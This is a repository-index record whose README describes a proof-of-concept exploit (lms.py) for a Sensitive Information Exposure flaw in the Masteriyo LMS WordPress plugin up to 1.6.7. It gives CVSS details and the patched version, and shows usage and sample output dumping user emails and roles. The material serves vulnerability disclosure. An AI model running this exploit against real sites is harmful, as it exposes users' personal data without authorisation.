{"id":21125738,"url":"https://github.com/randomrobbiebf/learning-management-system","last_synced_at":"2025-08-04T12:33:26.585Z","repository":{"id":179144909,"uuid":"663028960","full_name":"RandomRobbieBF/learning-management-system","owner":"RandomRobbieBF","description":"Masteriyo - LMS for WordPress \u003c= 1.6.7 - Sensitive Information Exposure","archived":false,"fork":false,"pushed_at":"2023-07-06T12:02:56.000Z","size":20,"stargazers_count":0,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-21T05:41:43.794Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-07-06T11:58:06.000Z","updated_at":"2024-08-12T20:32:01.000Z","dependencies_parsed_at":null,"dependency_job_id":"ca9776e3-b839-4035-965c-e92abfae41ba","html_url":"https://github.com/RandomRobbieBF/learning-management-system","commit_stats":null,"previous_names":["randomrobbiebf/learning-management-system"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Flearning-management-system","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Flearning-management-system/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Flearning-management-system/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2Flearning-management-system/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/learning-management-system/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243573167,"owners_count":20312879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-20T04:36:39.130Z","updated_at":"2025-03-14T11:41:29.819Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# learning-management-system\nMasteriyo - LMS for WordPress \u0026lt;= 1.6.7 - Sensitive Information Exposure\n\nPlugin Info\n---\n\n```\nSoftware Type \tPlugin\nSoftware Slug \tlearning-management-system (view on wordpress.org)\nPatched? \tYes\nRemediation \tUpdate to version 1.6.8, or a newer patched version\nAffected Version \t\u003c 1.6.8\nPatched Version \t1.6.8\n```\n\nCVS\n---\n\n```\nInformation Exposure\nCVSS Vector\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\nCVSS \t6.5 (Medium)\n```\n\nDescription\n----\n\n```\nThe Masteriyo - LMS for WordPress plugin is vulnerable to Sensitive Information Exposure in versions up to, and including, 1.6.7 via the 'get_item' REST callback. This can allow authenticated attackers to extract sensitive data including user metadata.\n```\n\n\n\n\nHow to use\n---\n\n```\n\nusage: lms.py [-h] -w URL -u USERNAME -p PASSWORD\n\nWordPres\n\noptions:\n  -h, --help            show this help message and exit\n  -w URL, --url URL     URL of the WordPress site\n  -u USERNAME, --username USERNAME\n                        Username of your wordpress user\n  -p PASSWORD, --password PASSWORD\n                        Password of your wordpress password\n```\n\nExample\n---\n\n```\npython3 lms.py -w http://wordpress.lan -u user -p useruser1\nLogged in successfully.\nNonce Value: 91b27ef4d1\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|   ID | Username    | Nicename    | Email                     |   Status | Roles                 | Profile Image                                                               |\n+======+=============+=============+===========================+==========+=======================+=============================================================================+\n|    9 | test        | test        | test@test.com             |        0 | ['masteriyo_student'] | http://2.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    8 | agent       | agent       | agent@info.com            |        0 | ['subscriber']        | http://1.gravatar.com/avatar/4a0e0a5d4619c3564b0e60b2ae973ff8?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    7 | tagent      | tagent      | tagent@info.com           |        0 | ['subscriber']        | http://0.gravatar.com/avatar/01f353506595eeba4df1a52b35bfdee1?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    5 | Kety_Spear  | kety_spear  | agent3@wpdirectorykit.com |        0 | ['wdk_agent']         | http://0.gravatar.com/avatar/fedf00660c526608cd5c90df793148fb?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    4 | Garry_Novan | garry_novan | agent2@wpdirectorykit.com |        0 | ['wdk_agent']         | http://0.gravatar.com/avatar/fbc680fbc163811bea4e61ff43cccd59?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    3 | Debra_Moran | debra_moran | agent1@wpdirectorykit.com |        0 | ['wdk_agent']         | http://1.gravatar.com/avatar/7f119498e0ed4df002f6676e1b8b1b07?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    2 | user        | user        | user@example.com          |        0 | ['subscriber']        | http://2.gravatar.com/avatar/b58996c504c5638798eb6b511e6f49af?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n|    1 | admin       | admin       | admin@admin.com           |        0 | ['administrator']     | http://0.gravatar.com/avatar/64e1b8d34f425d19e1ee2ea7236d3028?s=96\u0026d=mm\u0026r=g |\n+------+-------------+-------------+---------------------------+----------+-----------------------+-----------------------------------------------------------------------------+\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Flearning-management-system","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Flearning-management-system","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Flearning-management-system/lists"}